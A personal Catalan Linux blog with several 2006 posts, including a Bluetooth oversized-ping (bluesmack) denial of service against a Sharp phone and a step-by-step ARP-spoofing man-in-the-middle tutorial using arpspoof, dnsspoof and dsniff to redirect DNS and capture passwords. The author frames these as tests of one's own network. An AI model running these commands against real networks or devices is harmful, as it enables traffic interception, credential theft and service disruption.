He vist un enllaç a una pàgina on està l’arbre genealògic dels sistemes unix, perfectament detallat, una meravella!. Això si, són 4 metres de llarg.
Hi ha versions per a plotter (per si voleu imprimir-ho tipus poster)
o també per a din a4, que són 21 pàgines.
Vos deixe els links al pdf de din A4 llest per a imprimir:
O si ho preferiu podeu visitar la web original: levenez.com/unix/
Hui s’ha publicat la nova versió estable de la Mandriva linux, la anomenada 2007 una distribució de linux que com sabeu els que em conegueu, es la que recomane normalment per a us d’escritori.
Aquells que no siguen del club no podrán baixar les imatges iso fins d’aci un mes mes o menys -tampoc ho se segur, però sol ser així- pero en canvi com que els repositoris estan igualment oberts per a tots, supose que es podrà fer la típica instal·lació per internet -en el cas de tindre bon ample de banda- . Jo ho vaig fer així amb la 2006 i crec que ara amb la 2007 ho faré igual, encara que no se si ja està la iso netinstall (en la 2006 eren 12mb) necessaria per a instalar a través d’internet…
Per què? Perquè sols baixes allò que necessites i no tots els cd’s o el dvd per a després instal·lar sols una part… Inconvenients? Alguns,… tarda un poc mes a instalar ja que depèn de l’ample de banda.. però és mes ràpid que baixar-ho tot i instal·lar per cd’s (lògic)…
Anuniat en una notícia a Linux-wizard.net
Entre les novetats, está la utilització de Kde 3.5 i de Gnome 2.16.. Ademés de que comenten que integra molt bé l’XGL ademés de la forma fácil (gràfica) que ens té acostumats Mandriva.
Encara no la he probat (tinc el ordinador amb la font d’alimentació que no va i no hem duen la de recanvi…)
Quan la probe a fons ja comentaré alguna cosa mes sobre aquesta nova versió d’una distro (mai millor dit) Màgica…
Podeu trobar mes informació a la pàgina oficial, o a Blogdrake.net d’on he tret la informació…
Després de que ahir em publicaren la traducció al castellà de jugant amb bluetooth II a la web de Bluehack, m’he animat una altra vegada amb el Bluetooth, després de passar-me el matí llegint sobre com les coses han avançat en pocs mesos (que han avançat bastant) en una casualitat de la vida, he descobert una vulnerabilitat Dos (de denegació de servei) del mòbil Sharp GX25 al ser-li enviat un paquet de ping mooolt gran per Bluetooth. 
Més concretament, el atac es paregut al famós “ping de la mort” aquella vulnerabilitat que tenien els molts sistemes antics en la qual si s’enviava un paquet “echo” molt gran podia provocar la penjada del sistema, això fa molt de temps que està resolt.. però qui ho anava a pensar, la història es repeteix..
Estava navegant en una web sobre bluetooth quan he vist un exemple on apareixia l2ping, al vore que era una ferramenta per a fer pings, he pensat que podria comprovar si el ping pujava conforme s’allunyava el telèfon… he fet alguns pings perà he volgut provar si el telèfon es tornaria lent al fer-li pings pesats ja que un telèfon com aquest com podeu comprovar no té una gran capacitat i normalment tenen característiques molt limitades..
Primer he fet un hcitool scan per a veure la adreça hexadecimal del telèfon..
vicent@ferrervicent:~$ hcitool scan
Scanning …
08:00:1F:85:4F:A1 GX25.D
Acte seguit he dirigit el l2ping cap a la adreça del telèfon:
vicent@ferrervicent:~$ sudo l2ping 08:00:1F:85:4F:A1
Ping: 08:00:1F:85:4F:A1 from 00:70:5A:46:21:67 (data size 44) …
0 bytes from 08:00:1F:85:4F:A1 id 0 time 128.62ms
0 bytes from 08:00:1F:85:4F:A1 id 1 time 51.11ms
0 bytes from 08:00:1F:85:4F:A1 id 2 time 49.90ms
0 bytes from 08:00:1F:85:4F:A1 id 3 time 76.45ms
0 bytes from 08:00:1F:85:4F:A1 id 4 time 78.75ms
0 bytes from 08:00:1F:85:4F:A1 id 5 time 48.18ms
0 bytes from 08:00:1F:85:4F:A1 id 6 time 56.75ms
0 bytes from 08:00:1F:85:4F:A1 id 7 time 56.02ms
0 bytes from 08:00:1F:85:4F:A1 id 8 time 36.44ms
0 bytes from 08:00:1F:85:4F:A1 id 9 time 52.51ms
Send failed: Connection reset by peer
Això era un ping normal, el telèfon seguia en vida… el que no entenc és perque sempre al cap d’uns segons talla la conexió.. és una cosa que ja passava quan vaig escriure Jugant amb bluetooth 1 i 2..
He mirat com gastar l2ping:
vicent@ferrervicent:~$ sudo l2ping
l2ping – L2CAP ping
Usage:
l2ping [-i device] [-s size] [-c count] [-t timeout] [-f]
<bdaddr>
Aleshores?, que pasaria si fem un:
vicent@ferrervicent:~$ sudo l2ping -s 50000 08:00:1F:85:4F:A1
Ping: 08:00:1F:85:4F:A1 from 00:70:5A:46:21:67 (data size 50000) …
no response from 08:00:1F:85:4F:A1: id 0
He ficat 50000 per ficar un valor arreu, tampoc sabia en quines unitats era ni res, aixina que es pot dir que han sigut bastants coincidències juntes… (despres he sabut que 50000 era una animalada…) 
Pero vos preguntareu que li passa al telèfon al fer el ping …
Exactament això:
Com podeu vore al video, el mòbil es queda inactiu i no respon durant uns segons, parant tota operació que s’estiguera fent en el moment, (una cridada per exemple).. el mòbil torna a funcionar en uns segons…
Hi ha que tindre en compte que 50000 bits per a un ping… és bastant, el ping típic en l2ping és de 44.. 
Per a fer una prova he provat a fer un ping normal (per xarxa ethernet) cap al Router amb el mateix tamany.. el cas es que el router no s’ha immutat però no m’ha contestat el ping.. això es el que hauria de fer el telèfon per a protegir-se… no desconnectar-se (no pareix molt bona tècnica)…
Altre detall, es pot observar que conforme es va pujant el tamany del paquet de ping la contestació és mes llarga..
44 > de 47 a 96 ms (és el ping estàndard en l2ping)
500 > 76ms
1000 > de 139 a 169 ms
1500 > de 195 a 230 ms
1850 > de 231 a 246 ms
També he fet una prova de anar allunyant-se però la diferència és mínima i no pot ser mesurada amb precisió ja que els mateixos pings tenen molta diferència entre si.
No descarte fer una ampliació i millora de l’article en cas de que a la gent li interese el tema.
De moment soles ho he probat en aquest mòbil, algú s’anima a provar-ho en el seu? 
EDITE 14/9/06:
Ahir per la nit vaig trobar que el bug SI estava documentat.. no per a aquest mòbil en concret sino que éra una clase d’atac a dispositius blutooth que ja estava documentada, l’atac s’anomena bluesmack. I es un bug del dispositiu en questió, no del protocol bluetooth.
… i jo que hem creia que havia descobert un bug nou… 
pero realment si, perque ningu avans havia probat aquest bug contra un sharp gx25 [si algu l'ha trobat, no l'ha ficat en internet].. aixina que al menys l’he descobert contra el sharp gx25
Edite20/9/06:
Article enllaçat a tuxmobil.org.
Anem a fer un atac mitjançant la tècnica coneguda com “Man in the Middle” o home en el mig. Potser per internet hi ha molts manuals sobre açò, pero jo vaig a fer el meu basant-se en la meua experiència, i animant a tot el que ho probe a comentar la seua.
L’objectiu d’aquest atac és demostrar que una xarxa local típica no és segura i que amb poques ferramentes i poc temps d’aprenentatge es possible extraure dades que viatgen per la xarxa en protocols no encriptats, ademés que aquest tipus d’atac és bastant dificil de detectar i parar si no es té coneiximent adecuat.
Aquest article està destinat a aquells usuaris (locals) i administradors que vulguen probar la seguretat de la seua pròpia xarxa i/o que tinguen intenció de desenvolupar tècniques per a estar preparats contra aquest tipus d’atacs, en ningun moment incite a provar-lo fora de la vostra xarxa, ja que podeu donar un mal de cap a mes d’un administrador i ademés no és molt étic espiar trafic sense permis.. i supose que serà il·legal ,així que, avisats esteu.
Com he comentat, la técnica utilitzada sera la de man in the middle. Aquesta te un funcionament bastant simple, hem de tindre primer una base de teoria de xarxes per a entendre aquest conceptes, així que abans de llegir aquest article, convindria repasar:
Una vegada dominats mes o menys aquestos temes (no fa falta saberho de memòria, simplement saber que és cada cosa i un poquet com funciona).
Segurament és te el mite de que una xarxa amb switchos és segura.Val, mes segura que amb hubs és, però pregunte: Absolutament segura?
Per a qui no ho sapiga, un switch (conmutador) té la diferència fonamental respecte a un hub de que actua en diferents capes de xarxa.. Els elements de una xarxa s’organitzen en capes, així, la capa 1 és la física (cables, conectors) la 2 la d’enllaç, la 3 la de xarxa.. etc etc..
Un hub actua com a repetidor de senyal,(és un enllaç físic) es a dir, envia les dades a TOTS els cables que te conectats, pero sols l’agafa l’ordinador al que van dirigides les dades… Un Switch en canvi fa de conmmutador, actua com si fora un entramat d’interruptors i envia cada paquet sols per el cable corresponent a la direcció mac de desti.
Fins ahi la teoria tot bé… Pero que passa si fem creure a un ordinador que nosaltres som el router, i fem creure al router que nosaltres som el ordinador victima?
Ahi es on entra el nostre paquet de ferramentes DSNIFF. En aquest cas he fet totes les probes sota una Ubuntu Linux dapper com a equip atacant, un Window$ 2000 sp4 com a equip victima, i un Linksys BEFSR41 com a router.
D’ara en endavant seràn, atacant, victima i router.
En la primera part de l’atac anem a fer que el trafic de xarxa es desvie per el ordinador atacat i que el ordinador victima no es done compte de la situació. Partim del cas de que el ordinador victima està tranquilament navegant per internet.. pertant hem de preparar-ho tot per a que no note ninguna caiguda en el servei o si ho nota que siga mínima.
Ens fa falta: que el “atacant” done internet a “victima”, pertant el “atacant” farà de porta d’enllaç de la “victima”, encara que “victima” es creurà que seguix tinguent al router com a porta d’enllaç.
El que jo he fet ha sigut fer un redireccionament de ip, conegut com a ip fowarding, aixi a primera vista sona com molta cosa, pero realment és: Compartir el internet.
En ubuntu linux es fa de la seguent forma:
vicent@ferrervicent:/$sudo echo "1" > /proc/sys/net/ipv4/ip_forward
si estiguerem en protocol ipv6 seria canviar ipv4 per ipv6, si no sas de que va, dixaho com està. Per a desactivar-lo canvia el “1″ per un “0″.
En aquest moment atacant està compartint conexió a internet. Hem de pensar bé la situació i tindre en compte moltes coses com per exemple que cara el proxy de xarxa o porta d’accés real qui estarà entrant a internet serà atacant, pero realment serà victima a través de atacant.. es soles una cosa a tindre en compte.
Val, ja estém compartint internet fins ara realment no hem fet res.. a continuació ens disposarem a començar l’atac a la taula arp de la victima. Recorde per als bagos, que convé saber algo de teoria de arp primer.
Farem creure a l’equip victima que la direcció mac del equip atacant correspon a la ip del router. i al router que la ip del victima correspon a la mac del atacant.
vicent@ferrervicent:/$ sudo arpspoof -i eth0 -t 192.168.1.101 192.168.1.1
En la forma:
arpspoof -i (interfície de xarxa) -t (ip_victima) (ip_router)
En aquest moment arpspoof començarà a enviar paquets malignes a la xarxa per a corrompre el arp i la consola donara algo paregut a d’açò:
0:14:5a:xx:xx:6 0:xx:xx:11:xx:69 0x06 42: arp ..etc..
0:14:5a:xx:xx:6 0:xx:xx:11:xx:69 0x06 42: arp ..etc..
etc...
A l’equip victima no te perque haver ningun problema, creurà que atacant es el router.. pero ho creurà per la direcció mac, la direcció ip de la porta de enllaç continuarà sent la del router..
Una vegada aci ja podem dir que hem conclós el atac amb éxit, estem fent d’intermediari entre router i victima i per tant tot el trafic passa per nosaltres.. pero encara no tenim resultats.. faré una xicoteta mostra del que es pot fer, pero millor si gasteu la imaginació i inventeu les situacions possibles..
Podem enverinar les solicituds dns: amb dnsspoof podem redirigir noms de domini que busque l’ordinador victima fins a les ip que nosaltres vulguem.. jo per exemple he fet una copia de google en un servidor apache local, he creat el arxiu noms.hosts que conté:
192.168.1.100 *.google.com
192.168.1.100 google.com
192.168.1.100 *.google.es
És a dir, tot els subdominis de google.com/.es aniran redirigits a 192.168.1.100, on he instalat un apache i he fet una copia del html de google pero amb les imatges canviades…
I al executar dnsspoof:
root@ferrervicent:/home/vicent# dnsspoof -i eth0 -f noms.hosts
En quant la petició dns desde l’equip victima es realitze, en la nostra consola veurem coses com les seguents, ahi demana els dns a un servidor dns de internet i posteriorment validarà amb el arxiu (noms.hosts) i enviarà allò que convinga..
dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.1.100]
192.168.1.101.1306 > 62.42.230.135.53: 60923+ A? client.voipbuster.com
192.168.1.101.1308 > 62.42.230.135.53: 15610+ A? www.google.com
192.168.1.101.1311 > 62.42.230.135.53: 56060+ A? minijuegos.com
192.168.1.101.1321 > 62.42.230.135.53: 14079+ A? connectiontcp1.voipbuster.com
El resultat que veu el equip victima és aquest:
Com podem observar l’usuari de equip victima no notarà res estrany que no siga la modificació de les imatges que corresponen al nom de google.. bé i alguna cosa més.
Val, per a comprovar si ho heu entés, que passaria si ficarem en el arxiu noms.hosts el seguent:
192.168.1.100 *.*
Hem de tindre en compte també que per a que aquest enverinament de la solicitud dns siga satisfactori el equip victima ha de tindre els servidors dns’s com a automàtics o els mateixos que la porta d’enllaç, en el cas de que la xarxa tinguera un servidor dns dedicat diferent de la porta d’enllaç, es podria fer altre enverinament de taula arp pero en la segona ip posariem la ip del servidor dns… bé tot açò és ampliació..
Pero deixem-se de tonteries com la del google i anem a coses mes series.. Que podriem fer?.. podem possar un sniffer i fer captura de tràfic… en poques paraules: sabrem tot lo que la màquina victima envia i rep de internet sempre que no siga tràfic encriptat (protocol https o ssh entre altres)
Pertant desactivarem el dnsspoof de moment.
Per a que siga més gràfic fare un sniff de tràfic amb Ethereal encara que amb tcpdump es pot fer igualment.. pero ho he fet amb Ethereal perque és gràfic i de segur que el trobeu més fácil d’entendre.
Com podeu observar tenim ací mooolt de trafic de xarxa (he capturat uns 3mb en pocs segons) , si l’analitzem veurem bastants coses, però això ja ho deixe per a que ho comproveu vosaltres mateixos.
De moment anem a capturar una contrasenya facileta va.. conectarem el dsniff.
Comprovat que la contrasenya de autentificació de el navegador cau (la tipica contrasenya de carpetes privades del apache..) en aquest cas és la de autentificació del router.
Supose que seguiré algun dia amb coses un poquet mes avançades de Dsniff (i més interesants).. que vos pareix capturar totes les contrasenyes de protocols no encriptats de forma fácil o simular una pàgina segura creant un certificat de xifrat pero en realitat agafar tot el tràfic? tècnica pareguda a fer un “monkey in the middle” i fer de repetidor de conexions ssh… i Dsniff te ferramentes per a tot això..
De moment sigau bons i no gasteu aquestos coneiximents per a fer mal eh? segur que algú ja estarà pensant en aplicacions “no étiques” de dsniff…
Salut i linux.
…hi havia gossos que no els agradava el tux unflable i que li lladraven (serien de hasenfroch).. Encara i tot va estar molt bé.
Bickford park es un parc prop de Christie park, i està bé perque esta propet de la parada de metro del mateix nom. En ple “Korea Town”. Vaig anar amb un amic i vam estar quasi una hora per anar (autobus num. 35 fins a Jane, i de l’estacio de Jane el Subway fins a Christie).. pero tampoc es res comparat en la hora que em pase cada dia per a anar i tornar del KGIC (escola) a casa.. (bus numero 84 fins a l’estacio de Sheppard i metro fins a Eglinton)…
No vos queixareu que li he ficat horta i tot a toronto
Van ser desde les 2 fins a les 6 i encara que en un principi pareixia que el dia eixiria mal (tots els informatius ho dien, ja que ací les notícies son basicament quin temps farà) al final va eixir un bon dia. Vaig estar parlant en bastants linuxers i vaig vore que encara que parega que en América van mes avançats que a Europa en questions de software lliure, crec que estem bastant a la altura.De pas vaig practicar un poquet mes d’Angles.
La gent va ensenyar algunes curiositats en els portatils, com un entorn “grafic” en mode text. I vaig poder comprovar que en cuant a tecnologia/preu si estan mes avan(c)ats vegent quins maquinots de portatils que duien…Que si MacBooks pro, que si IBM-Lenovo amb pes ploma……
Despres (5:45) es va projectar dins del LinuxCaffe un documental de la BBC Sobre el software lliure.. pero me’n vaig anar al cuart d’hora perque m’estava aburrint un poquet…
Per cert, em donaren 2 numeros de Linux Journal gratis, un de ells de el mes que ve, (revista que val 6 dollars aci) i dos caixes buides del wrt54g i del wrt54gl, i direu… BUIDES? si, esque un de els que estaven alli crec que havia montat un ISP en Toronto que ademes del internet oferia acces a la wifi gegant que havia montat per el centre (supose).. i com no, el famós wrt54g fa de AP.. pero com supose que ho montara tot en caixes estanques va repartir caixes.. A mi realment em venen bastant be, en primer lloc perque per a qualsevol montatge electronic no va mai mal una caixa, i si es de la qualitat de la de un router millor, (ho dic perque a vegades m’ha tocat pagar per caixes de plastic per a montatges infinitament pijors que aquesta) i per segona i mes important perque el router de ma casa es un BSFR41 (alomillor alguna lletra esta mal) de linksys tambe i com no….
e ha tocat pagar per caixes de plastic per a montatges infinitament pitjors que aquesta) i per segona i mes important perque el router de ma casa es un BSFR41 de linksys tambe i com no, les patetes de la caixa acoplen (com en la foto) per el que sempre puc ficar dins un switch de estos sense marca que son super enanos i gastar la caixa Linksys per a acoplarlo al meu router..
Per fi he trobat una memòria ram bona per a “trasto” un “nou” servidor jejeEs un pentium triton a 200mhz amb 64mb de ram i 3,4gb de disc per al sistema i dades (de moment, ja que li ficare un altre disc per a dades).. també té una tarjeta de xarxa 10/100 i que mes dir.. que ha estat tot fet a partir de peces del fem… De moment no te pila i m’ha tocat ficarli ntp per a que sincronitze amb un servidor d’hora a internet cada vegada que arranca…
Amb Debian sarge Gnu/linux trasto ja es altra cosa…
vicent@ferrervicent:~$ ssh 192.168.1.101 -l root
Password:
Last login: Sat Jul 29 20:57:01 2006 from 192.168.1.100
trasto:~# uname -a
Linux trasto 2.4.27-2-386 #1 Wed Aug 17 09:33:35 UTC 2005 i586 GNU/Linux
trasto:~#
He estat fent probes amb apache 1.3 i apache2 i en pagines estatiques be.. quan parlem de mysql i php ja la cosa no va tan fina…
De moment té un “Apache/2.0.54 (Debian GNU/Linux) PHP/4.3.10-16″ un mysql 4.0.24 i phpMyAdmin 2.6.2.. en estos moments instalant drupal
Anem a fer un sniff de la conexió per bluetooth, per a vore un poquet millor com funciona…
Per a fer el sniff gastarem el HCI sniffer, una vegada instalat s’executa amb hcidump com a root
Partim del pas de que hem assolit els continguts de “Jugant amb el bluetooth I” el primer que anem a fer serà arrancar el hcidump:
vicent@ferrervicent:~$ sudo hcidump HCI sniffer – Bluetooth packet analyzer
ver 1.28 device: hci0 snap_len: 1028 filter: 0xffffffff
Això és el missatge que ens dona nomes arrancar, es poden fer variacions en els parametres de hci dump consultant l’ajuda, es a dir, fent un “man hcidump”
He probat algunes opcions i encara que tenen la seua utilitat (reenviar les dades o canviar els modes de visualització -ascii, hex, etc..- ) jo de moment no ho vaig a gastar…
Una vegada el sniffer en marxa probem a crear trafic en la xarxa (enviar una petició de autentificació desde el mobil per exemple) i podrem comprovar, que efectivament escolta el trafic.
> HCI Event: Connect Request (0×04) plen 10
< HCI Command: Accept Connection Request (0x01|0x0009) plen 7
> HCI Event: Command Status (0×0f) plen 4
> HCI Event: PIN Code Request (0×16) plen 6
< HCI Command: PIN Code Request Reply (0x01|0x000d) plen 23
> HCI Event: Command Complete (0×0e) plen 10
> HCI Event: Link Key Notification (0×18) plen 23
> HCI Event: Connect Complete (0×03) plen 11
< HCI Command: Write Link Policy Settings (0x02|0x000d) plen 4
> HCI Event: Page Scan Repetition Mode Change (0×20) plen 7
> HCI Event: Max Slots Change (0×1b) plen 3
> HCI Event: Command Complete (0×0e) plen 6
< HCI Command: Change Connection Packet Type (0x01|0x000f) plen 4
> HCI Event: Command Status (0×0f) plen 4
> HCI Event: Connection Packet Type Changed (0×1d) plen 5
Ademés com podem observar diferència entre el que ix i el que entra de una forma bastant bona.. per als curiosos, en la linia 4 i 5 es demana i s’acepta la contrasenya de autentificació de la conexió…
i pasats uns segons automaticament el mobil envia una petició de desconexió..
> HCI Event: Disconn Complete (0×05) plen 4
Cosa que no acabe d’entendre ja que en el mobil està posat que no es desconecte, pero bé…
Ara que ja hem vist un poquet com es comunica bluetooth (tot açò ho dic fruit de la experiència de anar probant, en ningun moment he estudiat teoria de bluetooth).. anem a fer una conexió desde l’ordinador al mobil i fer probes de cobertura, açò ho farem amb el comandament “hcitool” (que hem vist a Jugant amb el bluetooth – I), gastant la opció “hcitool cc” per a conectar i “hcitool lq” per a vore l’estat de la senyal.
Arrancarem el HCIdump per a vore tambe que es el que passa…
fem un:
vicent@ferrervicent:~$ sudo hcitool cc 08:00:1F:85:4F:E1
i a continuació podem vore al HCIdump com la conexió té exit.
vicent@ferrervicent:~$ sudo hcidump
HCI sniffer – Bluetooth packet analyzer ver 1.28
device: hci0 snap_len: 1028 filter: 0xffffffff
< HCI Command: Create Connection (0x01|0x0005) plen 13
> HCI Event: Command Status (0×0f) plen 4
> HCI Event: Link Key Request (0×17) plen 6
< HCI Command: Link Key Request Reply (0x01|0x000b) plen 22
> HCI Event: Command Complete (0×0e) plen 10
> HCI Event: Connect Complete (0×03) plen 11
< HCI Command: Write Link Policy Settings (0x02|0x000d) plen 4
> HCI Event: Page Scan Repetition Mode Change (0×20) plen 7
> HCI Event: Command Complete (0×0e) plen 6
> HCI Event: Max Slots Change (0×1b) plen 3
I passa com avans.. que al poquet de rato (de no gastarlo realment) es desconecta.. serà per a no gastar tanta bateria i supose que en cada acció es farà automàticament una proba de conexió i es reconectarà en cas de que s’haja desconectat.. pero no em feu cas.. son suposicions meues..
Seguim amb el tema de la cobretura, la cobertura es mesura per la ordre “hcitool lq” com he dit avans, pertant si ho executem correctament:
vicent@ferrervicent:~$ sudo hcitool lq 08:00:1F:85:4F:E1
Link quality: 255
Obervem com ens ha tret la màxima qualitat de senyal (el mobi està a la part davantera de la torre i el emisor a un usb de darrere)
i HCIDump ens mostra evidentment que ixa petició de mostra de cobertura ha tingut lloc:
< HCI Command: Read Link Quality (0x05|0x0003) plen 2
> HCI Event: Command Complete (0×0e) plen 7
He fet varies proves posant el mobil cada vegada en una posició diferent i executant cada vegada la ordre per a conectar i la ordre per a mirar la senyal.
Visió directa:
(no he probat més perque pase de menejar l’ordinador de lloc)
Sense visió directa:
No ho sé segur pero per l’experiència es pot deduir que el bluetooth gasta un espectre de frequència bò per a curtes distàncies pero en llargues distàncies es veu molt afectat.. i sobretot si hi ha objectes per el mig..
Espere que haja sigut del vostre interes aquest capitol 2 de “jugant amb el bluetooth”, fins aci ha sigut tot, com el nom indica un joc, pero per a les coses que duc en ment explicar en els proxims numeros hauré de mirarme la documentació un poquet mes…
